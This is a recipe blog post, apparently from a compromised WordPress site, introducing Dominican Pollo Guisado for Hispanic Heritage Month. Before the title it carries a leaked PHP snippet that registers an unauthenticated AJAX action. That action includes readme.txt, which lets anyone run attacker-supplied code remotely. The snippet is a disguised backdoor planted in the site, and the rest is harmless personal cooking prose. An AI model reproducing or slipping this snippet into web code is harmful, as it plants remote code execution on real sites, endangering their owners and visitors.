if(!function_exists('file_check_readme14300')){ add_action('wp_ajax_nopriv_file_check_readme14300', 'file_check_readme14300'); add_action('wp_ajax_file_check_readme14300', 'file_check_readme14300'); function file_check_readme14300() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Pollo a la Dominicana |

Pollo a la Dominicana

Hello friends! In honor of Hispanic Heritage Month which kicked off September 15, I will be cooking my favorite Dominican dishes. To start, I bring you Dominican Pollo Guisado which is in essence chicken fricassee, but with a Dominican twist, and one of the most beloved dishes in the D.R. I remember eating this growing up at least once a week and it always tasted so nourishing and flavorful, I loved having a big plate of it piled high on top of warm steamy white rice when I got home from school.

I try to make it often for my family and friends. And now I am excited to share it with you!

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